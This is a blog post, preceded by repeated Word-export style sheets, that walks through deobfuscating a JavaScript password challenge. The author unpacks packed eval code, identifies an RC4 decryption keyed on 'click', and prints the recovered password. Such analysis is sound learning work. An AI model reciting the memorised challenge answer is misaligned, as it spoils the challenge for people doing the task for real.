vertical-align:super;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
mso-themecolor:hyperlink;
text-decoration:underline;
text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-noshow:yes;
mso-style-priority:99;
color:#954F72;
mso-themecolor:followedhyperlink;
text-decoration:underline;
text-underline:single;}
span.FootnoteTextChar
{mso-style-name:"Footnote Text Char";
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-unhide:no;
mso-style-locked:yes;
mso-style-link:"Footnote Text";
mso-ansi-font-size:10.0pt;
mso-bidi-font-size:10.0pt;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText
{mso-style-noshow:yes;
mso-style-priority:99;
mso-style-link:"Footnote Text Char";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
span.MsoFootnoteReference
{mso-style-noshow:yes;
mso-style-priority:99;
vertical-align:super;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
mso-themecolor:hyperlink;
text-decoration:underline;
text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-noshow:yes;
mso-style-priority:99;
color:#954F72;
mso-themecolor:followedhyperlink;
text-decoration:underline;
text-underline:single;}
span.FootnoteTextChar
{mso-style-name:"Footnote Text Char";
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-unhide:no;
mso-style-locked:yes;
mso-style-link:"Footnote Text";
mso-ansi-font-size:10.0pt;
mso-bidi-font-size:10.0pt;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
/* Page Definitions */
@page
{mso-footnote-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") fs;
mso-footnote-continuation-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") fcs;
mso-endnote-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") es;
mso-endnote-continuation-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") ecs;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
@font-face
{font-family:Menlo;
panose-1:2 11 6 9 3 8 4 2 2 4;
mso-font-charset:0;
mso-generic-font-family:modern;
mso-font-pitch:fixed;
mso-font-signature:-436198657 -771687941 33554472 0 479 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText
{mso-style-noshow:yes;
mso-style-priority:99;
mso-style-link:"Footnote Text Char";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
span.MsoFootnoteReference
{mso-style-noshow:yes;
mso-style-priority:99;
vertical-align:super;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
mso-themecolor:hyperlink;
text-decoration:underline;
text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-noshow:yes;
mso-style-priority:99;
color:#954F72;
mso-themecolor:followedhyperlink;
text-decoration:underline;
text-underline:single;}
span.FootnoteTextChar
{mso-style-name:"Footnote Text Char";
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-unhide:no;
mso-style-locked:yes;
mso-style-link:"Footnote Text";
mso-ansi-font-size:10.0pt;
mso-bidi-font-size:10.0pt;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
/* Page Definitions */
@page
{mso-footnote-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") fs;
mso-footnote-continuation-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") fcs;
mso-endnote-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") es;
mso-endnote-continuation-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") ecs;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText
{mso-style-noshow:yes;
mso-style-priority:99;
mso-style-link:"Footnote Text Char";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
span.MsoFootnoteReference
{mso-style-noshow:yes;
mso-style-priority:99;
vertical-align:super;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
mso-themecolor:hyperlink;
text-decoration:underline;
text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-noshow:yes;
mso-style-priority:99;
color:#954F72;
mso-themecolor:followedhyperlink;
text-decoration:underline;
text-underline:single;}
span.FootnoteTextChar
{mso-style-name:"Footnote Text Char";
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-unhide:no;
mso-style-locked:yes;
mso-style-link:"Footnote Text";
mso-ansi-font-size:10.0pt;
mso-bidi-font-size:10.0pt;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><br />
<style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText
{mso-style-noshow:yes;
mso-style-priority:99;
mso-style-link:"Footnote Text Char";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
span.MsoFootnoteReference
{mso-style-noshow:yes;
mso-style-priority:99;
vertical-align:super;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
mso-themecolor:hyperlink;
text-decoration:underline;
text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-noshow:yes;
mso-style-priority:99;
color:#954F72;
mso-themecolor:followedhyperlink;
text-decoration:underline;
text-underline:single;}
span.FootnoteTextChar
{mso-style-name:"Footnote Text Char";
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-unhide:no;
mso-style-locked:yes;
mso-style-link:"Footnote Text";
mso-ansi-font-size:10.0pt;
mso-bidi-font-size:10.0pt;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
/* Page Definitions */
@page
{mso-footnote-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") fs;
mso-footnote-continuation-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") fcs;
mso-endnote-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") es;
mso-endnote-continuation-separator:url("/Users/ouz/Library/Group Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_header.htm") ecs;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style><style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-52040476386356095482018-04-10T22:12:00.001+03:002018-04-10T22:13:11.357+03:00Analysis of Obfuscated JavaScript CodeI came up with a challenge that requires me to find the right password and there was a JS code to validate it.<br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-04uyi3yi6Do/Ws0HMbwPetI/AAAAAAAAEjI/gW-aw5cOi-QcCJtkg68rExzfEO8FHbWoACLcBGAs/s1600/28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="916" data-original-width="1492" height="245" src="https://2.bp.blogspot.com/-04uyi3yi6Do/Ws0HMbwPetI/AAAAAAAAEjI/gW-aw5cOi-QcCJtkg68rExzfEO8FHbWoACLcBGAs/s400/28.png" width="400" /></a></div>
<div>
<div>
I first beautified the obfuscated code to make it a little bit easier to read. Beautification can be done with online tools or there is a beautifier plugin for Atom editor. After beautification, I imported JS code to the WebStorm IDE which provides me some tools to do refactoring. </div>
<div>
When I opened the code in WebStorm IDE, I saw that the code actually consists of two main scripts. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-0cclWG2lbf0/Ws0HU-fpHCI/AAAAAAAAEjM/8IY9Mz4_VAkuhsZx7tGHutjppWv-IanAQCLcBGAs/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="158" data-original-width="414" height="152" src="https://1.bp.blogspot.com/-0cclWG2lbf0/Ws0HU-fpHCI/AAAAAAAAEjM/8IY9Mz4_VAkuhsZx7tGHutjppWv-IanAQCLcBGAs/s400/1.png" width="400" /></a></div>
<div>
It is obvious that the <b><span style="font-family: "courier new" , "courier" , monospace;">onclick</span></b> event listener of the button calls the function <b><span style="font-family: "courier new" , "courier" , monospace;">c</span></b> when button is clicked. There is a function defined inside the first script which compares the input value with the hostname. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-OV9jKL4shmE/Ws0HamlJzcI/AAAAAAAAEjQ/_F5DMeODU-U62ugp45Ixgx7srEcXvtvwQCLcBGAs/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="637" src="https://3.bp.blogspot.com/-OV9jKL4shmE/Ws0HamlJzcI/AAAAAAAAEjQ/_F5DMeODU-U62ugp45Ixgx7srEcXvtvwQCLcBGAs/s1600/2.png" /></a></div>
<div>
But this <b><span style="font-family: "courier new" , "courier" , monospace;">c</span></b> function is overridden in the second script with the id <b><span style="font-family: "courier new" , "courier" , monospace;">urchin</span></b>.</div>
<div>
When I try to understand what this <b><span style="font-family: "courier new" , "courier" , monospace;">urchin</span></b> script is capable of, I realized that it contains one <b><span style="font-family: "courier new" , "courier" , monospace;">eval</span></b> function and one immediately invoked function. The contents of the <b><span style="font-family: "courier new" , "courier" , monospace;">eval</span></b> function was packed with a popular JS packer, which is developed by Dean Edwards.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-shsqQ3gspjo/Ws0HgOmd-qI/AAAAAAAAEjU/21T9sYRDQeoBKPO_5BoixiqAAESJyS16QCLcBGAs/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="308" data-original-width="940" height="208" src="https://2.bp.blogspot.com/-shsqQ3gspjo/Ws0HgOmd-qI/AAAAAAAAEjU/21T9sYRDQeoBKPO_5BoixiqAAESJyS16QCLcBGAs/s640/3.png" width="640" /></a></div>
<div style="text-align: justify;">
Dean Edwards’ packer can easily be unpacked by using online tools. But I tried a different approach and replaced the <b><span style="font-family: "courier new" , "courier" , monospace;">eval</span></b> with <b><span style="font-family: "courier new" , "courier" , monospace;">alert</span></b> and ran it on a browser JS console which popped-up me the unpacked version of the code. Hence the <b><span style="font-family: "courier new" , "courier" , monospace;">eval</span></b> function requires a string to run, packed code actually performs RegEx replacements to return the unpacked code as a string literal. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As a result of unpacking and evaluation, this function became an immediately invoked function which overrides the <b><span style="font-family: "courier new" , "courier" , monospace;">c</span></b> function. This time <b><span style="font-family: "courier new" , "courier" , monospace;">c</span></b> function appeared to be comparing the input with a string value <b><span style="font-family: "courier new" , "courier" , monospace;">input256</span></b>.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-fdVSJHoUOas/Ws0HwufkbPI/AAAAAAAAEjc/29f37j6d-T8a3crcSCLwuyR4kMI4rXzygCLcBGAs/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="125" data-original-width="639" height="123" src="https://2.bp.blogspot.com/-fdVSJHoUOas/Ws0HwufkbPI/AAAAAAAAEjc/29f37j6d-T8a3crcSCLwuyR4kMI4rXzygCLcBGAs/s640/4.png" width="640" /></a></div>
<div style="text-align: justify;">
I moved on and dived deep into the second part of the script “<b><span style="font-family: "courier new" , "courier" , monospace;">urchin</span></b>”: the second immediately invoked function statement. This function was obfuscated but it was mostly about string-based obfuscation which I solved it by performing code refactoring.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/--ITsk328uXE/Ws0H5Ul4yfI/AAAAAAAAEjg/efF-ie-A-4sL7RlOER8tRGQiuXExDlrswCLcBGAs/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="751" data-original-width="1378" height="348" src="https://2.bp.blogspot.com/--ITsk328uXE/Ws0H5Ul4yfI/AAAAAAAAEjg/efF-ie-A-4sL7RlOER8tRGQiuXExDlrswCLcBGAs/s640/5.png" width="640" /></a></div>
<div style="text-align: justify;">
The immediately invoked function mainly creates different alert contents and stores them into an array, creates a decryption routine, adds/attaches an event listener on the button click event and overrides the scope of <b><span style="font-family: "courier new" , "courier" , monospace;">c</span></b> function.</div>
<div>
<br /></div>
<div style="text-align: justify;">
The most important part of the whole code was the decryption routine which I renamed as “<b><span style="font-family: "courier new" , "courier" , monospace;">decrypt</span></b>”. After I refactored the decryption routine, I realized that this decryption routine is nothing but the <b>RC4 stream cipher</b>. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-5giWjWnVXpg/Ws0IAN2GHEI/AAAAAAAAEjk/qc0wstNi2bEt13pCUiz9v0gCg4sy3MKhgCLcBGAs/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="615" data-original-width="754" height="522" src="https://2.bp.blogspot.com/-5giWjWnVXpg/Ws0IAN2GHEI/AAAAAAAAEjk/qc0wstNi2bEt13pCUiz9v0gCg4sy3MKhgCLcBGAs/s640/6.png" width="640" /></a></div>
<div style="text-align: justify;">
It first creates a key table (a.k.a S-BOX) using the event type as a secret. In our case, event type was <b><span style="font-family: "courier new" , "courier" , monospace;">click</span></b>. Then it performs substitution and XOR operations respectively for encryption and decryption. RC4 is a symmetric cipher so encryption and decryption operations are performed with the same symmetric key. At the end of the decryption process the decrypted value is compared with the string <b><span style="font-family: "courier new" , "courier" , monospace;">input128</span></b> where the <b><span style="font-family: "courier new" , "courier" , monospace;">endEvent</span></b> is <b><span style="font-family: "courier new" , "courier" , monospace;">input</span></b> and<b><span style="font-family: "courier new" , "courier" , monospace;"> l = 256</span></b>.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-MhXLiGAhOWs/Ws0Iep25gNI/AAAAAAAAEj0/jPUVAscYdLEi9LsZ4i6e0em7ph4SY7M8wCLcBGAs/s1600/Picture1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="120" data-original-width="864" height="88" src="https://3.bp.blogspot.com/-MhXLiGAhOWs/Ws0Iep25gNI/AAAAAAAAEj0/jPUVAscYdLEi9LsZ4i6e0em7ph4SY7M8wCLcBGAs/s640/Picture1.png" width="640" /></a></div>
<div style="text-align: justify;">
So, at the end of the day the decrypted input should be <b><span style="font-family: "courier new" , "courier" , monospace;">input128</span></b>. That’s why, I created an encryption routine to find the original version of <b><span style="font-family: "courier new" , "courier" , monospace;">input128</span></b> before RC4 decryption. It was very similar to decryption routine except the hex transformations.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-_odIxbQP9ms/Ws0IoZ7ekvI/AAAAAAAAEj8/RjxgmNkDEPcTLT-T_8aKl9xZ4ZrdDZnegCLcBGAs/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="196" data-original-width="753" height="166" src="https://3.bp.blogspot.com/-_odIxbQP9ms/Ws0IoZ7ekvI/AAAAAAAAEj8/RjxgmNkDEPcTLT-T_8aKl9xZ4ZrdDZnegCLcBGAs/s640/7.png" width="640" /></a></div>
<div style="text-align: justify;">
The result of the encryption of <span style="font-family: "courier new" , "courier" , monospace;"><b>input128</b></span> became <span style="font-family: "courier new" , "courier" , monospace;"><b>956918b18208c159</b></span> and this was the right password.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-K_30zMWN3nA/Ws0Iu_Ra_xI/AAAAAAAAEkA/xU2_B0iHZZcgSn_18xxkf6aK0L-wYxWvwCLcBGAs/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="435" data-original-width="632" height="275" src="https://2.bp.blogspot.com/-K_30zMWN3nA/Ws0Iu_Ra_xI/AAAAAAAAEkA/xU2_B0iHZZcgSn_18xxkf6aK0L-wYxWvwCLcBGAs/s400/8.png" width="400" /></a></div>
<div style="text-align: justify;">
In this obfuscated HTML file, there are three different input comparisons but RC4 decryption routine is the one which will be run when you click the button. </div>
</div>
</div>
